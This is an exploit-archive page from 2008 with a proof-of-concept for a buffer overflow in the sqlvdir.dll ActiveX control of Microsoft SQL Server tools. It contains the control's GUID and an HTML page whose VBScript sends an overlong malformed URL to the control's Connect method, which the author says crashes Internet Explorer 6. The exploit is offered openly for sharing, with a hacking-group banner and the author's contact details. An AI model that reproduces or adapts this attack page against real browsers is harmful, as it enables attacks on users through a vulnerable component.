Home / exploitsPDF  

sqlvdir-overflow.txt

Posted on 11 September 2008

################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____    _      __| _/____    #
#    / __ |\__  \_  __   |/ // ___/  /_    / __ |/ __    #
#   / /_/ | / __ |  | /    <  \___  \_/   / /_/   ___/   #
#   \____ |(______/__|  |__|_ \_____>\_____  /\_____|\____   #
#        /                  /             /                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __  / / /                #
#                   \___|  | /  ___/     /                 #
#                  \___  >__|    \___  >/\_/                  #
#      est.2007        /            /   forum.darkc0de.com   #
################################################################
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - r4s4al    #
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---#
################################################################
#
# Author: Beenu Arora
#
# Home  : www.BeenuArora.com
#
# Email : beenudel1986@gmail.com
#
# Share the c0de!
#
################################################################
#
# sqlvdir.dll ActiveX Remote Buffer Overflow Exploit
#
# Successfull exploitation crashes the Browser
#
# Tested On : WinXp Sp-2 IE 6.0
#
#################################################
# Loaded File: C:Program FilesMicrosoft SQL Server80ToolsBinnsqlvdir.dll
# Class SQLVDirControl
# GUID: {FC13BAA2-9C1A-4069-A221-31A147636038}
# Number of Interfaces: 1
# Default Interface: ISQLVDirControl
# RegKey Safe for Script: False
# RegkeySafe for Init: False
# KillBitSet: False
#################################################


<html>
Test Exploit page
<object classid='clsid:FC13BAA2-9C1A-4069-A221-31A147636038'
id='target' ></object>
<script language='vbscript'>
targetFile = "C:Program FilesMicrosoft SQL Server80ToolsBinnsqlvdir.dll"
prototype  = "Sub Connect ( [ ByVal szServer As Variant ] ,  [ ByVal
szWebSite As Variant ] )"
memberName = "Connect"
progid     = "SQLVDIRLib.SQLVDirControl"
argCount   = 2
arg1="defaultV"
arg2="http://test	est	est	e?s	est	est	es	test	est	e@st	es	est	est	es.	test	est	est	es	est	est	e.s	test	est	est	es	est	est	es	\\\\:#$%test	est	est	e?s	est	est	es\:#$%	test	est	e@st	es	est	est	es.	test	est	est	es	est	est	e.s	test	est	est	es	est	est	es	\\\\:#$%test	est	est	e?s	est	est	es\:#$%	test	est	e@st	es	est	est	es.	test	est	est	es	est	est	e.s	test	est	est	es	est	est	es	\\\\:#$%test	est	est	e?s	est	est	es\:#$%	test	est	e@st	es	est	est	es.	test	est	est	es	est	est	e.s	test	est	est	es	est	est	es	\\\"

target.Connect arg1 ,arg2

</script>


The POC file is attached to it.
--
Beenu Arora
+91-9911254288

 

TOP

Malware :

Exploits :